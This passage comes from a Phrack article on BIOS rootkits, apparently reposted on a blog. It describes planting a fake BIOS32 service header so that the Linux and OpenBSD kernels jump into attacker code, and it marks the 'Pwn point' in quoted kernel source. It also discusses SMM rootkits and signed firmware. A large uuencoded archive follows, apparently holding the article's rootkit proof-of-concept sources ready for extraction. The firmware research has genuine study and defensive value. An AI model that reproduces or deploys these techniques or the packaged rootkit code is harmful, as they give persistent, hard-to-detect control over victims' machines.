your bios rootkit executing in BIOS, but being in BIOS sucks from an attacker's point of view. You ideally want to be in the kernel of the Operative System. That is why you should do something like drop a shellcode to hard-disk or doing an SMBIOS-rootkit. But what if the hard-disk is encrypted? Or if the machine really doesn't have a hard disk and boots from the network? Fear not, because this section is for you. There is the misconception that the BIOS is never used after boot, but this is untrue. Operative Systems make BIOS calls for many reasons, like for example, setting video modes (Int 10h) and doing other funny things like BIOS-32 calls. What is BIOS32? using Google-based research we concluded that is an arcane BIOS service to provide information about other BIOS services to modern 32-bit OSes, in an attempt by BIOS vendors to stay relevant on the post MS-DOS era. You can refer to [BIOS32SDP] for more information. What's important is that many OSes make calls to it, and the only requirement to being a BIOS32 service is that you must place a BIOS32 header somewhere in the E000:0000 to F000:FFFF memory region, 16-byte aligned. The headers structure is: Offset Bytes Description 0 4 Signature "_32_" 4 4 Entry point for the BIOS32 Service (here you put a pointer to your stuff) 8 1 Revision level, put 0 9 1 Length of the BIOS32 Headers in paragraphs (put 1) 10 1 8-bit Checksum. Security FTW! 11 5 Reserved, put 0s. This is a pattern on all BIOS services. The way to locate and execute services is a pattern search followed by a checksum, and then it just jumps to a function that is some kind of dispatcher. This behavior is present in various BIOS functions like Plug and Play ($PnP), Post Memory Manager ($PMM), BIOS32 (_32_), etc. Security was not considered at the time when this system was designed, so we can take advantage of this and insert our own headers (We can even use an option-rom from this, without modifying system BIOS), and the OS ultimately always trust the BIOS. You can see how Linux 2.6.27 detects and calls this service on the kernel function: arch/x86/pci/pcibios.c,check_pcibios() ... if ((pcibios_entry = bios32_service(PCI_SERVICE))) { pci_indirect.address = pcibios_entry + PAGE_OFFSET; local_irq_save(flags); __asm__( "lcall *(%%edi); cld\n\t" <--- Pwn point "jc 1f\n\t" "xor %%ah, %%ah\n" "1:" ... OpenBSD 4.5 does the same here: sys/arch/i386/i386/bios.c,bios32_service() int bios32_service(u_int32_t service, bios32_entry_t e, bios32_entry_info_t ei) { ... base = 0; __asm __volatile("lcall *(%4)" <-- Pwn point : "+a" (service), "+b" (base), "=c" (count), "=d" (off) : "D" (&bios32_entry) : "%esi", "cc", "memory"); ... At the moment we don't have any data on Windows XP/Vista/7 BIOS32-direct-calling, but please refer to the presentation [JHeasman] where it documents direct Int 10h calling from several points on the Windows kernel. Faking a BIOS32 header or modifying an existing one is a viable way to do direct-to-kernel binary execution, and more comfortable than the int 10 calling (we don't need to jump to and from protected mode), without having to rely on weird stuff like we explained on section 2 and 3. Unfortunately because of lack of time, we couldn't provide a BIOS32 infection vector PoC in this issue, but it should be relatively easy to implement, you now have all the tools to do it safely inside a virtual machine, like VMware. ------[ 5.- Future and other uses Bios modification is a powerful attack technique. As we said before, if you take control of the system at such an early stage, there is very little that an anti-virus or detection tool can do. Furthermore, we can stay resident using a common boot-sector rootkit, or file system modification. But some of the more fun things that you can do with this attack is to drop a more sophisticated rootkit, like a virtualized one, or better, a SMM Rootkit. ---[5.1 - SMM! The difficulty of SMM Rootkits relies on the fact that you can't touch the SMRAM once the system is booted, because the BIOS sets the D_LCK bit [PHRACK65]. Recently many techniques has been developed to overcome this lock, like [DUFLOTSM], but if you are executing in BIOS, this lock doesn't affect you, because you are executing before this protection, and you could modify the SMRAM directly on the firmware. However, this technique would be very difficult and not generic at all, but it's doable. ---[5.2 - Signed firmware The huge security hole that is allowing unsigned firmware into a motherboard is being slowly patched and many signed BIOS systems are being deployed, see [JHeasman2] for examples. This gives you an additional layer of security and prevent exactly the kind of attack proposed in this article. However, no system is completely secure, bug and backdoors will always exist. To this date no persistent attack on signed bios has been made public, but researchers are close to beating this kind of protections, see for example [ILTXT]. ---[5.3 - Last words Few software is so fundamental and at the same time, so closed, as the BIOS. UEFI [UEFIORG], the new firmware interface, promises open-standards and improved security. But meanwhile, we need more people looking, reversing and understanding this crucial piece of software. It has bugs, it can contain malicious code, and most importantly, BIOS can have complete control of your computer. Years ago people regained part of that control with the open-source revolution, but users won't have complete control until they know what's lurking behind closed-source firmware. If you want to improve or start researching your own BIOS and need more resources, an excellent place to start would be the WIM'S BIOS High-Tech Forum [WBHTF], where very low-level technical discussions take place. --[6.- Greetz We would like to thank all the people at Core Security for giving us the space and resources to work in this project, in particular to the whole CORE's Exploit writers team for supporting us during the time we spent researching this interesting stuff. Kudos to the phrack editor team that put a huge effort into this e-zine. To t0p0, for inspiring us in this project with his l33t cisco stuff. To Gera for his technical review. To Lea & ^Dan^ for correctin our englis. And Laura for supporting me (Alfred) on my long nights of bios-related suffering. ---[7.- References [JHeasman] Firmware Rootkits, The Threat to the Enterprise, John Heasman, http://www.ngssoftware.com/research/ papers/BH-DC-07-Heasman.pdf [JHeasman2] Implementing and detecting ACPI BIOS rootkit, http://www.blackhat.com/presentations/bh-federal-06/ BH-Fed-06-Heasman.pdf [BIOS32SDP] Standard BIOS 32-bit Service Directory Proposal 0.4, Thomas C. Block, http://www.phoenix.com/NR/rdonlyres/ ECF22CEC-A1B2-4F38-A7F9-629B49E1DCAB/0/specsbios32sd.pdf [COREBOOT] Coreboot project, Flashrom utility, http://www.coreboot.org/ Flashrom [PHRACK65] Phrack Magazine, Issue 65, http://www.phrack.com/ issues.html?issue=65 [DUFLOTSM] "Using CPU System Management Mode to Circumvent Operating System Security Functions" Loic Duflot, Daniel Etiemble, Olivier Grumelard Proceedings of CanSecWest, 2006 [UEFIORG] Unified EFI Forum, http://www.uefi.org/ [ILTXT] Attacking Intel Trusted Execution Technology, BlackHat DC, Feb 2009. http://invisiblethingslab.com/resources/ bh09dc/Attacking%20Intel%20TXT%20-%20paper.pdf [WBHTF] WIM'S BIOS In-depth High-tech BIOS section http://www.wimsbios.com/phpBB2/ in-depth-high-tech-bios-section-vf37.html [LZH] http://en.wikipedia.org/wiki/LHA_(file_format) [Pinczakko] Pinczakko Official Website, http://www.geocities.com/mamanzip/ ---[8.- Sources begin 644 phrack-66-07.tgz M'XL(`.>M.$H``^T\_7/;QH[YU?PKMO+E),420^K3ENN^\5=;SXMCC^V^YB;Q M^%'DRF),D3HN9<DW_>,/P"Z_1-K*7=/D;AYW&MO<76"Q`!;`?J#S:6C9#^W! MH&T,W[[Z:XH!9=COXV]SV#>RO^/RRC0[YL#L#`9#J#<[G8'YBO7_(GIR92$B M*V3LE>5-0NX\WV]3^__3,L_*?VJ%SM(*^5=6A"^6O]'I=(8]D'_/Z%?R_R:E M7/[B8>%YNB5F7V4,%/"@UWM._AU8[R3__G#0,[H#D']_:!JOF/%51M]0_L7E M/P;ICS2FRLW9^>DU,U;&N-]GSAC^VC,T;<SO7;^3]IHOQ-3*?4VT+?S%N%!_ M.$)3?QDK&V2<]@[FV+AES^9L&80.^VC<MHR59?7[VM9GSN:AZT>:]AAXCSP< M`0[5'W\#]@R:2?8C3X[EY#Z9O4J^/\.X.&=-HY%&N094!1@\KMJ?<2&L>YY6 MP#^ST^WU!\/=/6TF[D=8"WRJ,[W=;NOUEMEMF4;K4P(!I?Z6?GTJ;_RC\8F] M;?Y1WMBX8P&[:Y8WLC\.#@Z>`63_;.OM?ZJVI"5R84*LWV__VP[0+NFN:QK- M.F7$_CV/N#M/OFW+\QC4017]'.5EN<KPR_7=B#VZ#@^2NEGPR*Q5"U2@F]0! MWT$M@+`4DH#8,G0CG@,=SUM.*CRQ&&--?Q<D$<LFQ4'0($.0ZWUA_)79S6@A MH<9:]$RY6GO5ZG=S-0[UZV5UF'0JIXQ9W2Q.CU@H/,[G.7632@X"P);1.AF` M8S*9:)XY>E:954_J"#TS2]0+@":ODR,Q`RB;S>0[Y)'VO2U15;Y'*??_L\!Q M)T=N(/3YTY\?8T/\UQMTS#C^,X8&QO^#;K=7^?]O4;9_>+L0X=NQZ[^=/T73 MP-?<V3P((Q:(EG@2K9D5335MF_U&QM:=,(_[#6C0K?#^L?EC-V.<T)^RVCFJ MSA.S?`>L"A@^>^%98)8/0:\<=G1V<<WL*;<?Q&)66P>E,4;LM6`_!J$+,8?E ML3$HX4_L1TL(/AM[3TQ,N>?9@</9Q/7X3S7VFB7D0"C13'#RE1LUC";2G@!' M4PFF"1MB6W;`$LC.+=39`=;57@L=V(&8J9L&JP#Z17S6J/D(!O2U`_PI!\<^ M+0)NLJ86A4\0M:14'K!@CAS#]E8]'->;>L@MI]'4^,KF\PA#'#G[XV#A.7X] MBLGE1&Z"J<5$,./1%)P;<P6;N4+`GS_4M*UDIME1D[\_&BL(YD:W;)N)!W=. M2-]?7`J<UL+W7/]!$M>4`1%KU*X3-"#K^VD$$G%PJB3YN*U)G#VW'CBSF!W, MGU@P(=R)Y%#6&AD2WYIQQ5CZ)M;&G#=O-011?7+5*=_M.?+[M2".Q]U;"7)D MO+8]X^%]AF%LZ4;3E)R)9XFIYOJ"A]$\$&[D!CX,:*RZUF38EX3&TDH0YR66 M<BP=6?/Y$G7T@*H^CO(#W,;-.P<)76F5!,E#[.2Y/+J5E!TH(&U;=F?3('C0 M\,?:7'JF0]4'M4\KOO=IU>]_@FB^!M+'B(-FNVNP'=;8(;THT)]%F:&>AELC M/-N5R,:*(L7:-K)O71#XR9+5D4H]SW%0L=2$)!C0MM`8+G<2:P)=KX,P?&J! M%L+Z$';HSB-<*7X0L3?1U(K>0!3K\]"UH>M3L`#]@*AL:CW"0@O@=_C(180J M+#A[M+P%1'3;;&;Y"PC>`.MX$1&4;?F,6\(%<V*'U@26J\_0QBRB`&RE:[/` MYVR!:Y/-K2CBH<\$MT)[JF.W&T(?3":"1X*!JV63(*1U<R@6@AT._['[H7W^ M`7I>\4=7H%Q-<)YM\)@R3K\+)G<.A_4ZOQM[#P<D<@A-DS9LX;ZP4"C4.IG8 M&O>=(MP8MV5:8$^1>P<&:$C"X(2GLTQKD>,:TNY"O,M"R[_GC1("6Z6$-<'J MJ8%W#F`32$OZHPO6>VN6K58+Y#:V3;5C-;08L0M%[`%[;>Q^8.>*.ODI[81$ MU5(HU[0)ND]XR'T;MA#0`3]!'1NJ,_MW"K^;K)W@B:NTF)@3!!DEXRDD.,K8 M\BQ`3')-N+6VT$H9DUEQ]C1LL`;L(W[^N:U0-Q4)K+F^%$N1[9BP%C>(\&7Q M?X%\"ZKUI;)5,RB3;BI<IJ3[<RKI<M$J#`U87PSL2P3BO7=I^9,3!8<!$[>! M+8_@2,<!.(89!'YLS!G_3UC@S9JFQ3Q%LWZ0"0QV:GK"5>[4M.4!V:Q,[U9] M"39+6^JT`XU;L,+V`L$;"7GO^9("&B;`ZCC@Z)5+R^#ZUMNP\O@?S>^,Z]$J M^AIC;#C_,X9F3\7_YA`/_B'^I_/?*O[_Z\L-.LMXF4B?Z7/N@':"4P0'9D_1 MP5E)]*ZSFXQ[G8(*"_[(0\O34'G:&+0XRGV2GW8%AK2@_1#1N.!_(\;]8'$_ M1?1.0+ACSZGE_24&O`S6L%B$')SM,D!$RR!\8,$B:@>3-I#<'@<K&>>!:PXE M@9IVYD-$ZD<AV@%JQ,G]X_SWPZM317@^2'`"3E2&8`M<<,F6#_L7QZ'`!B:& M.P;!9+A.J&@)PQ;!"I^`0,&]">*STOC`"9:^%T#0(^,`BGA"V%PTKCEGE[3B MP/?#E#T,Z[E-\5M7[^AF$ZQP$8V+]@QV4Q'P88*(D(I',+W0><G'$()QB"[^ M5Z8CM_X?9W_![<__Z/ZG:QAX_]/M]_K5_<^W*&7RE\X<H_DVNKJQ</[<5=#+ M]A\/9I/['Z-O@/WO&$9U_O-MRM'9S34S!YJV?[J*T#R#79;VES4P9AGT_DX6 M*@A%BUGS$.QMM\/.CYK::X=/7-CKG'ZX.7U_`]L4IJX2[F8!W=W@4<P^1CI@ M6._I>'P_N621?;3X4-M*_II(,!@3;![8[[D56C.!5"%$_DB$@%9@`ZT5T+9* M/AVW!?^23P&?PDU&B$_NU<U2?([.<7XK&OG^#D9.&A";L=H%385&V+GE&N-S M>FA"BNZ$^U]<S>">1W<<#UP"M<D$TNL"W)3-Z^A>0B[DZ'0[,-;&HX0L12UT M(N*-5:?+"&</=NX^:^`HS.$XI'L/;CJD(Q@7]/CX\/P(RMGAU=65/`L+^1PI M%4LM(1K9)>_>N)COP!:C<ROIE1L6((>',85I&)`[W*'S`,2'5S*(KY=@5YBM MU6V&;Q#AWB&,VOH6.^]TJ+NQUAV$,>.^NI/;A\D(T$2NXN=8K=+;0+H)5'WY MBMN+B)@$`#-PP0`R?F)UXO?$"NNRHQ*^TA]U,\13Q9B(UCAM<Y*>(8]`69'* M.W6#MN4'\Z_T(S[%I!63CI&YFLS1F52EQ"95*<54)<E.3EY+KG+C+[648"5M M*3SX)U[<CI^`KQ]!<?;>]&[I%@WU'W=OTGQPYD[H&LS<P]@2KP5=RP.E=;2M MSSZVTB6O'^1N8&FN5`?8Z(8*8T0^7J2W><]?^^ZG:WC]EH]NI15SX#N93;:K MY(I&A*U11'4%BDKYT!ND]WM<3@4,ZU<J0!WP,3F<E51*"K/U0.G)Z=%OOTC3 MXF7LGM*5^'X^$;^S9GP!PR]@"PA9P4[=V[#`X$=JK)2^I;B%N[6UM9]^9U8/ M6K/Q"IL9;?;I]&L>\D<W6&`X;OE^?'F;,7Z.$>-+7PT(E^S%R>GA"2!;)R9C M1$$0,PO\E._<^>#7U`S;26'7,%?8"'#NX_D(SUI)LD?R-CBYU%T'AYV&B,*% M';&3P\M-3@8FI"A4TX/9<5P\`,ODWQ3?VUE"P,=D@.B^MTLK[FB!1U@P!FZO M0B:KB_!22Y%AY@`<,OJ.8,*N%;6N;\>LRG<VR%@('H*I?;FG"3W]Q6P,-`!B M%2UL1K[P%Z(<=2IB&SSR6$XS=@49[G5*(!P1`V1<S0O]#7+Y2#*3<_B_")`- M1HRL-AEK^LQ^7OAR.]DSIR.UR"BRP[/DC`'(+$IKBJ;+1!..*SQ#8_),HM^W MK/V4"*^%CAT`G-"%R$;)'NL.)FX(4=LT%BLMFN[Z\OQLY]?D,U,P#)C"%<=0 M\,05#^R:;H.R=%/$4!RJ##\:2JQ$,ZYE6T>Y9JC5XFZCQ.8D;$?OY0?V=(UH ML&'!/85+8PC"&H='QR>G.I1F.<-7K8RR$_L-GBB%Y9$X<@(HFB#%34G+*&/8 M,P9?#:)\A`U3H\\W26%'%U=7AU?L_04[>W]\=7H.@?SA#PP:4A>2RN4,%VE! MCY6%ZN9M'*.R#R2R`V8OPO!N'@BV;OEVJ<\._O'NZ%#9,TU#W@.]HRS#DM61 MV(M,P)8N'56),K-6&9G)Z1<7GGP((\=#!XN]1AH0<X='H#D?&]U%7$7^*4^0 M;([+RZ%XU'(4A]865^>9Q?7%*^EYYU&B_<`<J#"[=WYPQ\/UY?4[/9.">I`C M*H]E1YF=V)J>HF;V^GEC8!C&\PJ9'7BT-O*UW%>BSZ^'01#5LV8M,S5<;<K% MQ;X-XBYIU;,Z!_.G3GVS0ZY%L#GY"1*`)G>Q^74L%<5!&[L:&@,KLZ:C2;!0 M&I+MB?L28[6W.]@M]MVG4'`&H=@^M7&F*HI85)ALEF`I]!U@7[YKF"JH*O1& M?:0OW!$!'^7'#WB%H;J-DE6B[`'I><H1#:\$I3@*NTX*65QM'4/!#";&-.XH MTHZ@G.I8(!,J)7I@&JM!O]_M*U'A23'SN))M`776,FOXUN&.='?$V'.4J][) MS-*]H;,>E&6>[HE(33J_F\RH/LOO"EE^6\AR^T*Z"EJSS>L^U^!9[!L6ED*M M9>1+B,A;R)YD89*!-8C>YIYE<]B_"T':A8?AP+>Z5=>DRL;&DY8$'F1P/DZ# MC6R+88SY>D.\9S<-H]#4HR9[6-(TH*:^80P*3;O4U./]8:')-!3&7J_8I@CI M]8HH34E)Q^R8Q;;!\Q,P=U7;P"K.VU`\*6N3M`RL?I&6CJ1ES$O&ZRA:^L:X MV"9I&0Z=W4);5]+B#":38EOG>=EU>^F!2[%1R6A00FA7$F-U2I#V)#&[IEUD M3$\2,YD,[6*;)&;/</`DLMR[JN>]9>ZU^XQ[Q<6!ITD!>^0AODK[ZQQO-NI* MMK]?8\N;CV]*MKQ"F2UY>B+M_SY=@+G^@BNC'P^!9TM:_E3A^YX_5^7[EK+[ MGZ][^[_Q_K]G#H=)_M>P1_D__6&5__--RJ\<+[Q#GGD`(#(O`$).;^;PP905 M7Z&K6_8;#,E=#S:L=$#-U>M>O+Q&>()>^(2W1AWU^5.-R4?&R?,\'Z#EU780 M/I'1@M@-[\SIJ6[@><&2;M#Q"GZD:>UPV0[;^!\SF91(_(N9P\YPP&!'L-<V MNFW8$IA[(_`,A\>79X9^>/[N16``-Y\!-O6CL_<OCSSH[O:*P$='^M7%^8N0 M_;[9-4L@@9''%R?&1OANUS#WGH4W-\/WAOWGQ^]LAA_N[CT_?G<C/`BMM[L. MWV,GI\<7YY?'F^?/>F!8BN.?G%U?OCO\C\WP9L\<=(KP[RY^N3#TRU\^O`1L M]O;,H5$.;&X"9N:NV2G,O,O.SZY/KQ*Z5V$;_RM"[^UVC9)Y7UZ=7L(*U4\_ MG+XX>`>62HG8852`_"*V=_?ZS\)O5CM0_+T2S@&8?GU\];+&#?;Z)1*[/KWY M[?(+Y+W;,TL&OKZY.GO_R_5F^(ZY5[;2;T[/0=]NOF#\3JG<?KL\.;PYW0P^ M0,]9`I[HC(;O'U'\0II,LNRP-_<6:,]=:8TOIP'WW17#_!YVZKAXH+>(7,^- MGG2)`:]9Z042OH]<171$Y*0OC\C.(W[6\-P'^1ZJUS-T;*=.TE&TZ"8P?=YD MZB8]"<._NDVF'D>1W\''_[42NFHQ82V,X.DY=$?OZ`9@PE-(ON2AS@[EZS7U MH`J0/<%F_#,^[\37*^F++7J.%LEGW\FC,WS<S6R(>")T@8'@BG$!>J:(8RX, M/O-*?!1PZ'>\(Y?OQ1P7TPW'"P*VHIA:"+/#)-E$4,0?C&7`#R.)P!>`YM`3 M02M]B"Y])L!0CDF<`Q*"T"!`\3PI/M@'Q(=AZ'ESKR$$:YQ%=<$<?(">FU]3 M9[_CFW3`0<B!@7W=,%'6KF!+"V#X(_>`6X[,VP&W3?-?C!=^M&"[.BP:?&E' MSVM)N_`='NJ8K](LP$OSIGPDK][KQ8_89I@BXL8O]WSLZ01+?%<0Z-7FX[N7 MLO@_CM:^UA@;WO]UP2AFWO]U,/[OF/TJ_O\6Y<7\/[K7QC1`39,AV=&[B^._ M']2R\5GMA>S`SLO9@=*()68?O$HA)?`]6$4Z'@XBO%O&PZ"0DHC0L.KLT@-S MRLG/I)O6E_(*_U0>X17=[R2`]%P_EW.7IC'IL''A8:.)/$FZZ&`OG48-'U/6 MFC\9V3S!-#WLXZB\_RU04#Q+3P_53^C1)EY$VIQ2`]D+O:%HV[D\P^4T\-1; M*7`OKO\9W%TF`Z^N,A^1ECJF[R49:EKZ6C1)YTIR%G/)7$H:OV)/?-;,'<PL ME#<W<7YABJRIS6`GJ-#6/ZWVK$^KGO%I9?0^K;KC3ZO!`.J,.MM6)W\<5O$. MG@4:VO8[?#2-LY+H\&(60P<(351^)M:'E.U)!-=A8OBT#6>64?1G\C6W\?\? ML:##-GGSHK.?Z<@0_.;?M"TY0LD0+V+?4NBW`%0QZK7(#G%=DOW98O/2!9`? M"##&2KR%I,\W3IO26:BO2FE1DXDKX[26[4-'\CG)1I1O+@[PQ:*6<D#]);,+ M99?;G5B\.W$KRC^N;.ZD74>WZ4#IVT\%M8.)CGM&[8UI&#NI]L3-!W&W.FD+ M],)TQ#0+#'&"$6/T;G,-YN/(6$UN=Z05U.<P\4;MQU]KK5A/D2%M8V4>-I,I MP!<F76U?QP\^Z>DDA%5%10P6D4PD*G(>FM;YCE4QU\$0'`,RS&-6FG(9\CDX M;EW7:]DUJ[_-;`B9_E;MK^IIPA6PP(=_1<!CV(^\AW\%R$RO<,;>Z.<7)RF^ M,TH!ABW'$G_X@;QE%BUU*+24.P<QQ4QGW%O0\0]M)&P9XM+1$CF5[^T7_U7* MAO?_$*W_^?\-U,;W_V8WSO\:]+K=5Y@&9E3GO]^DO/S^/_/\GRU\-\KG`#!N MV=,J$:!*!$!\52)`E0A0)0)4B0!5(D"5"%`E`E2)`%4B0)4(4"4"5(D`52)` ME0A0)0)4B0!5(D"5"%`E`E2)`%6I2E6J4I6J5*4J5:E*5:I2E:I4I2I5^:;E *OP'CP.BZ`'@````` ` end ------
Elyssa D. Durant © DailyDDoSe™ 2007-2008
No comments:
Post a Comment